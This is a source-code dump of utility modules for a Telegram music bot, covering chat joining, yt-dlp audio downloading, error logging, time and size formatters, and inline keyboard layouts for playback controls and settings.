if (
get.status == ChatMemberStatus.BANNED
or get.status == ChatMemberStatus.RESTRICTED
):
await message.reply_text(
_["call_2"].format(
i.mention, userbot.id, userbot.name, userbot.username
)
)
except UserNotParticipant:
if chat_id in clinks:
invitelink = clinks[chat_id]
else:
if message.chat.username:
invitelink = message.chat.username
try:
await userbot.resolve_peer(invitelink)
except:
pass
else:
try:
invitelink = await client.export_chat_invite_link(chat_id)
except ChatAdminRequired:
await message.reply_text(_["call_1"])
except Exception as e:
await message.reply_text(
_["call_3"].format(i.mention, type(e).__name__)
)
if invitelink.startswith("https://t.me/+"):
invitelink = invitelink.replace(
"https://t.me/+", "https://t.me/joinchat/"
)
myu = await message.reply_text(_["call_4"].format(i.mention))
try:
await asyncio.sleep(1)
await userbot.join_chat(invitelink)
except InviteRequestSent:
try:
await client.approve_chat_join_request(chat_id, userbot.id)
except Exception as e:
await message.reply_text(
_["call_3"].format(i.mention, type(e).__name__)
)
await asyncio.sleep(3)
await myu.edit(_["call_5"].format(i.mention))
except UserAlreadyParticipant:
pass
except Exception as e:
await message.reply_text(
_["call_3"].format(i.mention, type(e).__name__)
)
clinks[chat_id] = invitelink
try:
await userbot.resolve_peer(chat_id)
except:
pass
return await command(
client,
message,
_,
chat_id,
video,
channel,
playmode,
url,
fplay,
)
return wrapper
================================================
FILE: BrandrdXMusic/utils/downloader.py
================================================
from os import path
import yt_dlp
from yt_dlp.utils import DownloadError
ytdl = yt_dlp.YoutubeDL(
{
"outtmpl": "downloads/%(id)s.%(ext)s",
"format": "bestaudio[ext=m4a]",
"geo_bypass": True,
"nocheckcertificate": True,
}
)
def download(url: str, my_hook) -> str:
ydl_optssx = {
"format": "bestaudio[ext=m4a]",
"outtmpl": "downloads/%(id)s.%(ext)s",
"geo_bypass": True,
"nocheckcertificate": True,
"quiet": True,
"no_warnings": True,
}
info = ytdl.extract_info(url, False)
try:
x = yt_dlp.YoutubeDL(ydl_optssx)
x.add_progress_hook(my_hook)
dloader = x.download([url])
except Exception as y_e:
return print(y_e)
else:
dloader
xyz = path.join("downloads", f"{info['id']}.{info['ext']}")
return xyz
================================================
FILE: BrandrdXMusic/utils/downloaders.py
================================================
import os
from yt_dlp import YoutubeDL
ydl_opts = {
"format": "bestaudio/best",
"outtmpl": "downloads/%(id)s.%(ext)s",
"geo_bypass": True,
"nocheckcertificate": True,
"quiet": True,
"no_warnings": True,
"prefer_ffmpeg": True,
"postprocessors": [
{
"key": "FFmpegExtractAudio",
"preferredcodec": "mp3",
"preferredquality": "320",
}
],
}
ydl = YoutubeDL(ydl_opts)
def audio_dl(url: str) -> str:
sin = ydl.extract_info(url, False)
x_file = os.path.join("downloads", f"{sin['id']}.mp3")
if os.path.exists(x_file):
return x_file
ydl.download([url])
return x_file
================================================
FILE: BrandrdXMusic/utils/errors.py
================================================
import sys
import traceback
from functools import wraps
from pyrogram.errors.exceptions.forbidden_403 import ChatWriteForbidden
from BrandrdXMusic import app
from BrandrdXMusic.logging import LOGGER
def split_limits(text):
if len(text) < 2048:
return [text]
lines = text.splitlines(True)
small_msg = ""
result = []
for line in lines:
if len(small_msg) + len(line) < 2048:
small_msg += line
else:
result.append(small_msg)
small_msg = line
result.append(small_msg)
return result
def capture_err(func):
@wraps(func)
async def capture(client, message, *args, **kwargs):
try:
return await func(client, message, *args, **kwargs)
except ChatWriteForbidden:
await app.leave_chat(message.chat.id)
return
except Exception as err:
exc_type, exc_obj, exc_tb = sys.exc_info()
errors = traceback.format_exception(
etype=exc_type,
value=exc_obj,
tb=exc_tb,
)
error_feedback = split_limits(
"**ERROR** | `{}` | `{}`\n\n```{}```\n\n```{}```\n".format(
0 if not message.from_user else message.from_user.id,
0 if not message.chat else message.chat.id,
message.text or message.caption,
"".join(errors),
),
)
for x in error_feedback:
await app.send_message(LOGGER, x)
raise err
return capture
================================================
FILE: BrandrdXMusic/utils/events.py
================================================
import inspect
import re
from pathlib import Path
from telethon import events
from BrandrdXMusic import telethn
def register(**args):
"""Registers a new message."""
pattern = args.get("pattern", None)
r_pattern = r"^[/!.]"
if pattern is not None and not pattern.startswith("(?i)"):
args["pattern"] = "(?i)" + pattern
args["pattern"] = pattern.replace("^/", r_pattern, 1)
def decorator(func):
telethn.add_event_handler(func, events.NewMessage(**args))
return func
return decorator
================================================
FILE: BrandrdXMusic/utils/exceptions.py
================================================
class AssistantErr(Exception):
def __init__(self, errr: str):
super().__init__(errr)
class UnableToFetchCarbon(Exception):
pass
================================================
FILE: BrandrdXMusic/utils/extraction.py
================================================
from pyrogram.enums import MessageEntityType
from pyrogram.types import Message, User
from BrandrdXMusic import app
async def extract_user(m: Message) -> User:
if m.reply_to_message:
return m.reply_to_message.from_user
msg_entities = m.entities[1] if m.text.startswith("/") else m.entities[0]
return await app.get_users(
msg_entities.user.id
if msg_entities.type == MessageEntityType.TEXT_MENTION
else int(m.command[1])
if m.command[1].isdecimal()
else m.command[1]
)
================================================
FILE: BrandrdXMusic/utils/filters_func.py
================================================
from enum import Enum, auto
from BrandrdXMusic import app
from pyrogram.types import InlineKeyboardMarkup, Message
from BrandrdXMusic.utils.msg_types import button_markdown_parser
from BrandrdXMusic.utils.notes_func import NoteFillings
from emojis import decode
from pyrogram.types import Message
async def SendFilterMessage(message: Message, filter_name: str, content: str, text: str, data_type: int):
chat_id = message.chat.id
message_id = message.id
text, buttons = button_markdown_parser(text)
text = NoteFillings(message, text)
reply_markup = None
if len(buttons) > 0:
reply_markup = InlineKeyboardMarkup(buttons)
else:
reply_markup = None
if data_type == 1:
await app.send_message(
chat_id=chat_id,
text=text,
reply_markup=reply_markup,
reply_to_message_id=message_id
)
elif data_type == 2:
await app.send_sticker(
chat_id=chat_id,
sticker=content,
reply_markup=reply_markup,
reply_to_message_id=message_id
)
elif data_type ==3:
await app.send_animation(
chat_id=chat_id,
animation=content,
reply_markup=reply_markup,
reply_to_message_id=message_id
)
elif data_type == 4:
await app.send_document(
chat_id=chat_id,
document=content,
caption=text,
reply_markup=reply_markup,
reply_to_message_id=message_id
)
elif data_type == 5:
await app.send_photo(
chat_id=chat_id,
photo=content,
caption=text,
reply_markup=reply_markup,
reply_to_message_id=message_id
)
elif data_type == 6:
await app.send_audio(
chat_id=chat_id,
audio=content,
caption=text,
reply_markup=reply_markup,
reply_to_message_id=message_id
)
elif data_type == 7:
await app.send_voice(
chat_id=chat_id,
voice=content,
caption=text,
reply_markup=reply_markup,
reply_to_message_id=message_id
)
elif data_type == 8:
await app.send_video(
chat_id=chat_id,
video=content,
caption=text,
reply_markup=reply_markup,
reply_to_message_id=message_id
)
elif data_type == 9:
await app.send_video_note(
chat_id=chat_id,
video_note=content,
reply_markup=reply_markup,
reply_to_message_id=message_id
)
class FilterMessageTypeMap(Enum):
text = auto()
sticker = auto()
animation= auto()
document = auto()
photo = auto()
audio = auto()
voice = auto()
video = auto()
video_note = auto()
async def GetFIlterMessage(message):
data_type = None
content = None
text = str()
raw_text = message.text or message.caption
args = raw_text.split(None, 2)
if len(args) >= 3 and not message.reply_to_message:
text = message.text.markdown[len(message.command[0]) + len(message.command[1]) + 4 :]
data_type = FilterMessageTypeMap.text.value
if (
message.reply_to_message
and message.reply_to_message.text
):
if len(args) >= 2:
text = message.reply_to_message.text.markdown
data_type = FilterMessageTypeMap.text.value
elif (
message.reply_to_message
and message.reply_to_message.sticker
):
content = message.reply_to_message.sticker.file_id
data_type = FilterMessageTypeMap.sticker.value
elif (
message.reply_to_message
and message.reply_to_message.animation
):
content = message.reply_to_message.animation.file_id
if message.reply_to_message.caption:
text = message.reply_to_message.caption.markdown
data_type = FilterMessageTypeMap.animation.value
elif (
message.reply_to_message
and message.reply_to_message.document
):
content = message.reply_to_message.document.file_id
if message.reply_to_message.caption:
text = message.reply_to_message.caption.markdown
data_type = FilterMessageTypeMap.document.value
elif (
message.reply_to_message
and message.reply_to_message.photo
):
content = message.reply_to_message.photo.file_id
if message.reply_to_message.caption:
text = message.reply_to_message.caption.markdown
data_type = FilterMessageTypeMap.photo.value
elif (
message.reply_to_message
and message.reply_to_message.audio
):
content = message.reply_to_message.audio.file_id
if message.reply_to_message.caption:
text = message.reply_to_message.caption.markdown
data_type = FilterMessageTypeMap.audio.value
elif (
message.reply_to_message
and message.reply_to_message.voice
):
content = message.reply_to_message.voice.file_id
if message.reply_to_message.caption:
text = message.reply_to_message.caption.markdown
data_type = FilterMessageTypeMap.voice.value
elif (
message.reply_to_message
and message.reply_to_message.video
):
content = message.reply_to_message.video.file_id
if message.reply_to_message.caption:
text = message.reply_to_message.caption.markdown
data_type= FilterMessageTypeMap.video.value
elif (
message.reply_to_message
and message.reply_to_message.video_note
):
content = message.reply_to_message.video_note.file_id
text = None
data_type = FilterMessageTypeMap.video_note.value
return (
content,
text,
data_type
)
def get_text_reason(message: Message) -> str:
"""This function returns text, and the reason of the user's arguments
Args:
message (Message): Message
Returns:
[str]: text, reason
"""
text = decode(message.text)
index_finder = [x for x in range(len(text)) if text[x] == '"']
if len(index_finder) >= 2:
text = text[index_finder[0]+1: index_finder[1]]
reason = text[index_finder[1] + 2:]
if not reason:
reason = None
else:
text = message.command[1]
reason = ' '.join(message.command[2:])
if not reason:
reason = None
return (
text,
reason
)
================================================
FILE: BrandrdXMusic/utils/formatters.py
================================================
import json
import subprocess
def get_readable_time(seconds: int) -> str:
count = 0
ping_time = ""
time_list = []
time_suffix_list = ["s", "ᴍ", "ʜ", "ᴅᴀʏs"]
while count < 4:
count += 1
if count < 3:
remainder, result = divmod(seconds, 60)
else:
remainder, result = divmod(seconds, 24)
if seconds == 0 and remainder == 0:
break
time_list.append(int(result))
seconds = int(remainder)
for i in range(len(time_list)):
time_list[i] = str(time_list[i]) + time_suffix_list[i]
if len(time_list) == 4:
ping_time += time_list.pop() + ", "
time_list.reverse()
ping_time += ":".join(time_list)
return ping_time
def convert_bytes(size: float) -> str:
"""humanize size"""
if not size:
return ""
power = 1024
t_n = 0
power_dict = {0: " ", 1: "Ki", 2: "Mi", 3: "Gi", 4: "Ti"}
while size > power:
size /= power
t_n += 1
return "{:.2f} {}B".format(size, power_dict[t_n])
async def int_to_alpha(user_id: int) -> str:
alphabet = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j"]
text = ""
user_id = str(user_id)
for i in user_id:
text += alphabet[int(i)]
return text
async def alpha_to_int(user_id_alphabet: str) -> int:
alphabet = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j"]
user_id = ""
for i in user_id_alphabet:
index = alphabet.index(i)
user_id += str(index)
user_id = int(user_id)
return user_id
def time_to_seconds(time):
stringt = str(time)
return sum(int(x) * 60**i for i, x in enumerate(reversed(stringt.split(":"))))
def seconds_to_min(seconds):
if seconds is not None:
seconds = int(seconds)
d, h, m, s = (
seconds // (3600 * 24),
seconds // 3600 % 24,
seconds % 3600 // 60,
seconds % 3600 % 60,
)
if d > 0:
return "{:02d}:{:02d}:{:02d}:{:02d}".format(d, h, m, s)
elif h > 0:
return "{:02d}:{:02d}:{:02d}".format(h, m, s)
elif m > 0:
return "{:02d}:{:02d}".format(m, s)
elif s > 0:
return "00:{:02d}".format(s)
return "-"
def speed_converter(seconds, speed):
if str(speed) == str("0.5"):
seconds = seconds * 2
if str(speed) == str("0.75"):
seconds = seconds + ((50 * seconds) // 100)
if str(speed) == str("1.5"):
seconds = seconds - ((25 * seconds) // 100)
if str(speed) == str("2.0"):
seconds = seconds - ((50 * seconds) // 100)
collect = seconds
if seconds is not None:
seconds = int(seconds)
d, h, m, s = (
seconds // (3600 * 24),
seconds // 3600 % 24,
seconds % 3600 // 60,
seconds % 3600 % 60,
)
if d > 0:
convert = "{:02d}:{:02d}:{:02d}:{:02d}".format(d, h, m, s)
return convert, collect
elif h > 0:
convert = "{:02d}:{:02d}:{:02d}".format(h, m, s)
return convert, collect
elif m > 0:
convert = "{:02d}:{:02d}".format(m, s)
return convert, collect
elif s > 0:
convert = "00:{:02d}".format(s)
return convert, collect
return "-"
def check_duration(file_path):
command = [
"ffprobe",
"-loglevel",
"quiet",
"-print_format",
"json",
"-show_format",
"-show_streams",
file_path,
]
pipe = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
out, err = pipe.communicate()
_json = json.loads(out)
if "format" in _json:
if "duration" in _json["format"]:
return float(_json["format"]["duration"])
if "streams" in _json:
for s in _json["streams"]:
if "duration" in s:
return float(s["duration"])
return "Unknown"
formats = [
"webm",
"mkv",
"flv",
"vob",
"ogv",
"ogg",
"rrc",
"gifv",
"mng",
"mov",
"avi",
"qt",
"wmv",
"yuv",
"rm",
"asf",
"amv",
"mp4",
"m4p",
"m4v",
"mpg",
"mp2",
"mpeg",
"mpe",
"mpv",
"m4v",
"svi",
"3gp",
"3g2",
"mxf",
"roq",
"nsv",
"flv",
"f4v",
"f4p",
"f4a",
"f4b",
]
================================================
FILE: BrandrdXMusic/utils/inline/__init__.py
================================================
from .extras import *
from .help import *
from .play import *
from .queue import *
from .settings import *
from .speed import *
from .start import *
from .playlist import *
================================================
FILE: BrandrdXMusic/utils/inline/extras.py
================================================
from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup
from config import SUPPORT_CHAT
def botplaylist_markup(_):
buttons = [
[
InlineKeyboardButton(text=_["S_B_9"], url=SUPPORT_CHAT),
InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data="close"),
],
]
return buttons
def close_markup(_):
upl = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
text="🥀 ꜱᴜᴘᴘᴏʀᴛ 🥀", url=f"https://t.me/BRANDED_WORLD"
),
InlineKeyboardButton(
text=_["CLOSE_BUTTON"],
callback_data="close",
),
]
]
)
return upl
def supp_markup(_):
upl = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
text=_["S_B_9"],
url=SUPPORT_CHAT,
),
]
]
)
return upl
================================================
FILE: BrandrdXMusic/utils/inline/help.py
================================================
from typing import Union
from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup
from BrandrdXMusic import app
def help_pannel(_, START: Union[bool, int] = None):
first = [InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data=f"close")]
second = [
InlineKeyboardButton(
text=_["BACK_PAGE"],
callback_data=f"mbot_cb",
),
InlineKeyboardButton(
text=_["BACK_BUTTON"],
callback_data=f"settingsback_helper",
),InlineKeyboardButton(
text=_["NEXT_PAGE"],
callback_data=f"mbot_cb",
),
]
mark = second if START else first
upl = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
text=_["H_B_1"],
callback_data="help_callback hb1",
),
InlineKeyboardButton(
text=_["H_B_2"],
callback_data="help_callback hb2",
),
InlineKeyboardButton(
text=_["H_B_3"],
callback_data="help_callback hb3",
),
],
[
InlineKeyboardButton(
text=_["H_B_4"],
callback_data="help_callback hb4",
),
InlineKeyboardButton(
text=_["H_B_5"],
callback_data="help_callback hb5",
),
InlineKeyboardButton(
text=_["H_B_6"],
callback_data="help_callback hb6",
),
],
[
InlineKeyboardButton(
text=_["H_B_7"],
callback_data="help_callback hb7",
),
InlineKeyboardButton(
text=_["H_B_8"],
callback_data="help_callback hb8",
),
InlineKeyboardButton(
text=_["H_B_9"],
callback_data="help_callback hb9",
),
],
[
InlineKeyboardButton(
text=_["H_B_10"],
callback_data="help_callback hb10",
),
InlineKeyboardButton(
text=_["H_B_11"],
callback_data="help_callback hb11",
),
InlineKeyboardButton(
text=_["H_B_12"],
callback_data="help_callback hb12",
),
],
[
InlineKeyboardButton(
text=_["H_B_13"],
callback_data="help_callback hb13",
),
InlineKeyboardButton(
text=_["H_B_14"],
callback_data="help_callback hb14",
),
InlineKeyboardButton(
text=_["H_B_15"],
callback_data="help_callback hb15",
),
],
mark,
]
)
return upl
def help_back_markup(_):
upl = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
text=_["BACK_BUTTON"],
callback_data=f"settings_back_helper",
),
]
]
)
return upl
def private_help_panel(_):
buttons = [
[
InlineKeyboardButton(
text=_["S_B_4"],
url=f"https://t.me/{app.username}?start=help",
),
],
]
return buttons
================================================
FILE: BrandrdXMusic/utils/inline/play.py
================================================
import math
from pyrogram.types import InlineKeyboardButton
from BrandrdXMusic.utils.formatters import time_to_seconds
# Track Markup
def track_markup(_, videoid, user_id, channel, fplay):
return [
[
InlineKeyboardButton(
text=_["P_B_1"],
callback_data=f"MusicStream {videoid}|{user_id}|a|{channel}|{fplay}",
),
InlineKeyboardButton(
text=_["P_B_2"],
callback_data=f"MusicStream {videoid}|{user_id}|v|{channel}|{fplay}",
),
],
[
InlineKeyboardButton(
text=_["CLOSE_BUTTON"],
callback_data=f"forceclose {videoid}|{user_id}",
)
],
]
# Stream Timer Markup
def stream_markup_timer(_, vidid, chat_id, played, dur):
played_sec = time_to_seconds(played)
duration_sec = time_to_seconds(dur) or 1 # avoid ZeroDivisionError
percentage = (played_sec / duration_sec) * 100
umm = math.floor(percentage)
if 0 < umm <= 10:
bar = "❥—————————"
elif 10 < umm < 20:
bar = "—❥————————"
elif 20 <= umm < 30:
bar = "——❥———————"
elif 30 <= umm < 40:
bar = "———❥——————"
elif 40 <= umm < 50:
bar = "————❥—————"
elif 50 <= umm < 60:
bar = "—————❥————"
elif 60 <= umm < 70:
bar = "——————❥———"
elif 70 <= umm < 80:
bar = "———————❥——"
elif 80 <= umm < 95:
bar = "————————❥—"
else:
bar = "—————————❥"
return [
[
InlineKeyboardButton(
text=f"{played} {bar} {dur}", callback_data="GetTimer"
)
],
[
InlineKeyboardButton(text="▷", callback_data=f"ADMIN Resume|{chat_id}"),
InlineKeyboardButton(text="II", callback_data=f"ADMIN Pause|{chat_id}"),
InlineKeyboardButton(text="↻", callback_data=f"ADMIN Replay|{chat_id}"),
InlineKeyboardButton(text="‣‣I", callback_data=f"ADMIN Skip|{chat_id}"),
InlineKeyboardButton(text="▢", callback_data=f"ADMIN Stop|{chat_id}"),
],
[
InlineKeyboardButton(text="ᴏᴡɴᴇʀ", url="https://t.me/BRANDEDKING8"),
InlineKeyboardButton(text="sᴜᴘᴘᴏʀᴛ", url="https://t.me/BRANDED_WORLD"),
],
[InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data="close")],
]
# Stream Markup
def stream_markup(_, videoid, chat_id):
return [
[
InlineKeyboardButton(text="▷", callback_data=f"ADMIN Resume|{chat_id}"),
InlineKeyboardButton(text="II", callback_data=f"ADMIN Pause|{chat_id}"),
InlineKeyboardButton(text="↻", callback_data=f"ADMIN Replay|{chat_id}"),
InlineKeyboardButton(text="‣‣I", callback_data=f"ADMIN Skip|{chat_id}"),
InlineKeyboardButton(text="▢", callback_data=f"ADMIN Stop|{chat_id}"),
],
[
InlineKeyboardButton(text="ᴏᴡɴᴇʀ", url="https://t.me/BRANDEDKING8"),
InlineKeyboardButton(text="sᴜᴘᴘᴏʀᴛ", url="https://t.me/BRANDED_WORLD"),
],
[InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data="close")],
]
# Playlist Markup
def playlist_markup(_, videoid, user_id, ptype, channel, fplay):
return [
[
InlineKeyboardButton(
text=_["P_B_1"],
callback_data=f"Playlists {videoid}|{user_id}|{ptype}|a|{channel}|{fplay}", # fix name if needed
),
InlineKeyboardButton(
text=_["P_B_2"],
callback_data=f"Playlists {videoid}|{user_id}|{ptype}|v|{channel}|{fplay}",
),
],
[
InlineKeyboardButton(
text=_["CLOSE_BUTTON"],
callback_data=f"forceclose {videoid}|{user_id}",
),
],
]
# Livestream Markup
def livestream_markup(_, videoid, user_id, mode, channel, fplay):
return [
[
InlineKeyboardButton(
text=_["P_B_3"],
callback_data=f"LiveStream {videoid}|{user_id}|{mode}|{channel}|{fplay}",
),
],
[
InlineKeyboardButton(
text=_["CLOSE_BUTTON"],
callback_data=f"forceclose {videoid}|{user_id}",
),
],
]
# Slider Markup
def slider_markup(_, videoid, user_id, query, query_type, channel, fplay):
query = f"{query[:20]}"
return [
[
InlineKeyboardButton(
text=_["P_B_1"],
callback_data=f"MusicStream {videoid}|{user_id}|a|{channel}|{fplay}",
),
InlineKeyboardButton(
text=_["P_B_2"],
callback_data=f"MusicStream {videoid}|{user_id}|v|{channel}|{fplay}",
),
],
[
InlineKeyboardButton(
text="◁",
callback_data=f"slider B|{query_type}|{query}|{user_id}|{channel}|{fplay}",
),
InlineKeyboardButton(
text=_["CLOSE_BUTTON"],
callback_data=f"forceclose {videoid}|{user_id}", # ✅ fixed
),
InlineKeyboardButton(
text="▷",
callback_data=f"slider F|{query_type}|{query}|{user_id}|{channel}|{fplay}",
),
],
]
================================================
FILE: BrandrdXMusic/utils/inline/playlist.py
================================================
from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup
def botplaylist_markup(_):
buttons = [
[
InlineKeyboardButton(
text=_["PL_B_1"],
callback_data="get_playlist_playmode",
),
],
[
InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data="close"),
],
]
return buttons
def top_play_markup(_):
buttons = [
[InlineKeyboardButton(text=_["PL_B_9"], callback_data="SERVERTOP global")],
[InlineKeyboardButton(text=_["PL_B_10"], callback_data="SERVERTOP chat")],
[InlineKeyboardButton(text=_["PL_B_11"], callback_data="SERVERTOP user")],
[
InlineKeyboardButton(text=_["BACK_BUTTON"], callback_data="get_playmarkup"),
InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data="close"),
],
]
return buttons
def get_playlist_markup(_):
buttons = [
[
InlineKeyboardButton(text=_["P_B_1"], callback_data="play_playlist a"),
InlineKeyboardButton(text=_["P_B_2"], callback_data="play_playlist v"),
],
[
InlineKeyboardButton(text=_["BACK_BUTTON"], callback_data="home_play"),
InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data="close"),
],
]
return buttons
def top_play_markup(_):
buttons = [
[InlineKeyboardButton(text=_["PL_B_9"], callback_data="SERVERTOP Global")],
[InlineKeyboardButton(text=_["PL_B_10"], callback_data="SERVERTOP Group")],
[InlineKeyboardButton(text=_["PL_B_11"], callback_data="SERVERTOP Personal")],
[
InlineKeyboardButton(text=_["BACK_BUTTON"], callback_data="get_playmarkup"),
InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data="close"),
],
]
return buttons
def failed_top_markup(_):
buttons = [
[
InlineKeyboardButton(
text=_["BACK_BUTTON"],
callback_data="get_top_playlists",
),
InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data="close"),
],
]
return buttons
def warning_markup(_):
upl = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
text=_["PL_B_7"],
callback_data="delete_whole_playlist",
),
],
[
InlineKeyboardButton(
text=_["BACK_BUTTON"],
callback_data="del_back_playlist",
),
InlineKeyboardButton(
text=_["CLOSE_BUTTON"],
callback_data="close",
),
],
]
)
return upl
def close_markup(_):
upl = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
text=_["CLOSE_BUTTON"],
callback_data="close",
),
]
]
)
return upl
================================================
FILE: BrandrdXMusic/utils/inline/queue.py
================================================
from typing import Union
from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup
def queue_markup(
_,
DURATION,
CPLAY,
videoid,
played: Union[bool, int] = None,
dur: Union[bool, int] = None,
):
not_dur = [
[
InlineKeyboardButton(
text=_["QU_B_1"],
callback_data=f"GetQueued {CPLAY}|{videoid}",
),
InlineKeyboardButton(
text=_["CLOSE_BUTTON"],
callback_data="close",
),
]
]
dur = [
[
InlineKeyboardButton(
text=_["QU_B_2"].format(played, dur),
callback_data="GetTimer",
)
],
[
InlineKeyboardButton(
text=_["QU_B_1"],
callback_data=f"GetQueued {CPLAY}|{videoid}",
),
InlineKeyboardButton(
text=_["CLOSE_BUTTON"],
callback_data="close",
),
],
]
upl = InlineKeyboardMarkup(not_dur if DURATION == "Unknown" else dur)
return upl
def queue_back_markup(_, CPLAY):
upl = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
text=_["BACK_BUTTON"],
callback_data=f"queue_back_timer {CPLAY}",
),
InlineKeyboardButton(
text=_["CLOSE_BUTTON"],
callback_data="close",
),
]
]
)
return upl
def aq_markup(_, chat_id):
buttons = [
[
InlineKeyboardButton(text="▷", callback_data=f"ADMIN Resume|{chat_id}"),
InlineKeyboardButton(text="II", callback_data=f"ADMIN Pause|{chat_id}"),
InlineKeyboardButton(text="‣‣I", callback_data=f"ADMIN Skip|{chat_id}"),
InlineKeyboardButton(text="▢", callback_data=f"ADMIN Stop|{chat_id}"),
],
[
InlineKeyboardButton(
text="⛦ ᴏᴡɴᴇʀ ⛦", url=f"https://t.me/BRANDEDKING8"
),
InlineKeyboardButton(
text="🥀 ꜱᴜᴘᴘᴏʀᴛ 🥀", url=f"https://t.me/BRANDED_WORLD"
),
],
[InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data="close")],
]
return buttons
def queuemarkup(_, vidid, chat_id):
buttons = [
[
InlineKeyboardButton(
text=_["S_B_5"],
url=f"https://t.me/{app.username}?startgroup=true",
),
],
[
InlineKeyboardButton(
text="ᴘᴀᴜsᴇ",
callback_data=f"ADMIN Pause|{chat_id}",
),
InlineKeyboardButton(text="sᴛᴏᴘ", callback_data=f"ADMIN Stop|{chat_id}"),
InlineKeyboardButton(text="sᴋɪᴘ", callback_data=f"ADMIN Skip|{chat_id}"),
],
[
InlineKeyboardButton(
text="ʀᴇsᴜᴍ", callback_data=f"ADMIN Resume|{chat_id}"
),
InlineKeyboardButton(
text="ʀᴇᴘʟᴀ", callback_data=f"ADMIN Replay|{chat_id}"
),
],
[
InlineKeyboardButton(
text="๏ ᴍᴏʀᴇ ๏",
url="https://t.me/BRANDED_WORLD",
),
],
]
return buttons
================================================
FILE: BrandrdXMusic/utils/inline/settings.py
================================================
from typing import Union
from pyrogram.types import InlineKeyboardButton
def setting_markup(_):
buttons = [
[
InlineKeyboardButton(text=_["ST_B_1"], callback_data="AU"),
InlineKeyboardButton(text=_["ST_B_3"], callback_data="LG"),
],
[
InlineKeyboardButton(text=_["ST_B_2"], callback_data="PM"),
],
[
InlineKeyboardButton(text=_["ST_B_4"], callback_data="VM"),
],
[
InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data="close"),
],
]
return buttons
def vote_mode_markup(_, current, mode: Union[bool, str] = None):
buttons = [
[
InlineKeyboardButton(text="Vᴏᴛɪɴɢ ᴍᴏᴅᴇ ➜", callback_data="VOTEANSWER"),
InlineKeyboardButton(
text=_["ST_B_5"] if mode == True else _["ST_B_6"],
callback_data="VOMODECHANGE",
),
],
[
InlineKeyboardButton(text="-2", callback_data="FERRARIUDTI M"),
InlineKeyboardButton(
text=f"ᴄᴜʀʀᴇɴᴛ : {current}",
callback_data="ANSWERVOMODE",
),
InlineKeyboardButton(text="+2", callback_data="FERRARIUDTI A"),
],
[
InlineKeyboardButton(
text=_["BACK_BUTTON"],
callback_data="settings_helper",
),
InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data="close"),
],
]
return buttons
def auth_users_markup(_, status: Union[bool, str] = None):
buttons = [
[
InlineKeyboardButton(text=_["ST_B_7"], callback_data="AUTHANSWER"),
InlineKeyboardButton(
text=_["ST_B_8"] if status == True else _["ST_B_9"],
callback_data="AUTH",
),
],
[
InlineKeyboardButton(text=_["ST_B_1"], callback_data="AUTHLIST"),
],
[
InlineKeyboardButton(
text=_["BACK_BUTTON"],
callback_data="settings_helper",
),
InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data="close"),
],
]
return buttons
def playmode_users_markup(
_,
Direct: Union[bool, str] = None,
Group: Union[bool, str] = None,
Playtype: Union[bool, str] = None,
):
buttons = [
[
InlineKeyboardButton(text=_["ST_B_10"], callback_data="SEARCHANSWER"),
InlineKeyboardButton(
text=_["ST_B_11"] if Direct == True else _["ST_B_12"],
callback_data="MODECHANGE",
),
],
[
InlineKeyboardButton(text=_["ST_B_13"], callback_data="AUTHANSWER"),
InlineKeyboardButton(
text=_["ST_B_8"] if Group == True else _["ST_B_9"],
callback_data="CHANNELMODECHANGE",
),
],
[
InlineKeyboardButton(text=_["ST_B_14"], callback_data="PLAYTYPEANSWER"),
InlineKeyboardButton(
text=_["ST_B_8"] if Playtype == True else _["ST_B_9"],
callback_data="PLAYTYPECHANGE",
),
],
[
InlineKeyboardButton(
text=_["BACK_BUTTON"],
callback_data="settings_helper",
),
InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data="close"),
],
]
return buttons
def audio_quality_markup(
_,
low: Union[bool, str] = None,
medium: Union[bool, str] = None,
high: Union[bool, str] = None,
):
buttons = [
[
InlineKeyboardButton(
text=(
_["ST_B_8"].format("✅") if low == True else _["ST_B_8"].format("")
),
callback_data="LQA",
)
],
[
InlineKeyboardButton(
text=(
_["ST_B_9"].format("✅")
if medium == True
else _["ST_B_9"].format("")
),
callback_data="MQA",
)
],
[
InlineKeyboardButton(
text=(
_["ST_B_10"].format("✅")
if high == True
else _["ST_B_10"].format("")
),
callback_data="HQA",
)
],
[
InlineKeyboardButton(
text=_["BACK_BUTTON"],
callback_data="settingsback_helper",
),
InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data="close"),
],
]
return buttons
def video_quality_markup(
_,
low: Union[bool, str] = None,
medium: Union[bool, str] = None,
high: Union[bool, str] = None,
):
buttons = [
[
InlineKeyboardButton(
text=(
_["ST_B_11"].format("✅")
if low == True
else _["ST_B_11"].format("")
),
callback_data="LQV",
)
],
[
InlineKeyboardButton(
text=(
_["ST_B_12"].format("✅")
if medium == True
else _["ST_B_12"].format("")
),
callback_data="MQV",
)
],
[
InlineKeyboardButton(
text=(
_["ST_B_13"].format("✅")
if high == True
else _["ST_B_13"].format("")
),
callback_data="HQV",
)
],
[
InlineKeyboardButton(
text=_["BACK_BUTTON"],
callback_data="settingsback_helper",
),
